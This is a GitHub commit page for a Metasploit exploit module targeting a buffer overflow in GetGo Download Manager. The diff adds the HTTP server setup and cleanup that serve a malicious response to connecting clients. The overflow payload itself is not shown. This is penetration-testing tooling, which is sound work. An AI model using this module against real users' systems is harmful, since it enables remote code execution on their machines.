Skip to content

Commit

Permalink
Merge pull request #3 from wchen-r7/pr4588_update
Browse files Browse the repository at this point in the history
Support configurable resource for getgodm_http_response_bof
  • Loading branch information
sgabe committed Jan 15, 2015
2 parents ef0be94 + 5790477 commit e3450d7
Showing 1 changed file with 85 additions and 1 deletion.
86 changes: 85 additions & 1 deletion modules/exploits/windows/browser/getgodm_http_response_bof.rb
Original file line number Diff line number Diff line change
Expand Up @@ -37,7 +37,8 @@ def initialize(info = {})
],
'DefaultOptions' =>
{
'ExitFunction' => 'process'
'ExitFunction' => 'process',
'URIPATH' => "/shakeitoff.mp3"
},
'Platform' => 'win',
'Payload' =>
Expand All @@ -59,6 +60,89 @@ def initialize(info = {})
'DefaultTarget' => 0))
end

#
# Handle the HTTP request and return a response. Code borrorwed from:
# msf/core/exploit/http/server.rb
#
def start_http(opts={})
# Ensture all dependencies are present before initializing HTTP
use_zlib

comm = datastore['ListenerComm']
if (comm.to_s == "local")
comm = ::Rex::Socket::Comm::Local
else
comm = nil
end

# Default the server host / port
opts = {
'ServerHost' => datastore['SRVHOST'],
'ServerPort' => datastore['HTTPPORT'],
'Comm' => comm
}.update(opts)

# Start a new HTTP server
@http_service = Rex::ServiceManager.start(
Rex::Proto::Http::Server,
opts['ServerPort'].to_i,
opts['ServerHost'],
datastore['SSL'],
{
'Msf' => framework,
'MsfExploit' => self,
},
opts['Comm'],
datastore['SSLCert']
)

@http_service.server_name = datastore['HTTP::server_name']

# Default the procedure of the URI to on_request_uri if one isn't
# provided.
uopts = {
'Proc' => Proc.new { |cli, req|
on_request_uri(cli, req)
},
'Path' => resource_uri
}.update(opts['Uri'] || {})

proto = (datastore["SSL"] ? "https" : "http")
print_status("Using URL: #{proto}://#{opts['ServerHost']}:#{opts['ServerPort']}#{uopts['Path']}")

if (opts['ServerHost'] == '0.0.0.0')
print_status(" Local IP: #{proto}://#{Rex::Socket.source_address('1.2.3.4')}:#{opts['ServerPort']}#{uopts['Path']}")
end

# Add path to resource
@service_path = uopts['Path']
@http_service.add_resource(uopts['Path'], uopts)

# As long as we have the http_service object, we will keep the ftp server alive
while @http_service
select(nil, nil, nil, 1)
end
end


#
# Kill HTTP/FTP (shut them down and clear resources)
#
def cleanup
super
stop_service

begin
@http_service.remove_resource(datastore['URIPATH'])
@http_service.deref
@http_service.stop
@http_service.close
@http_service = nil
rescue
end
end


def on_request_uri(cli, request)

print_status("Client connected...")
Expand Down

0 comments on commit e3450d7

Please sign in to comment.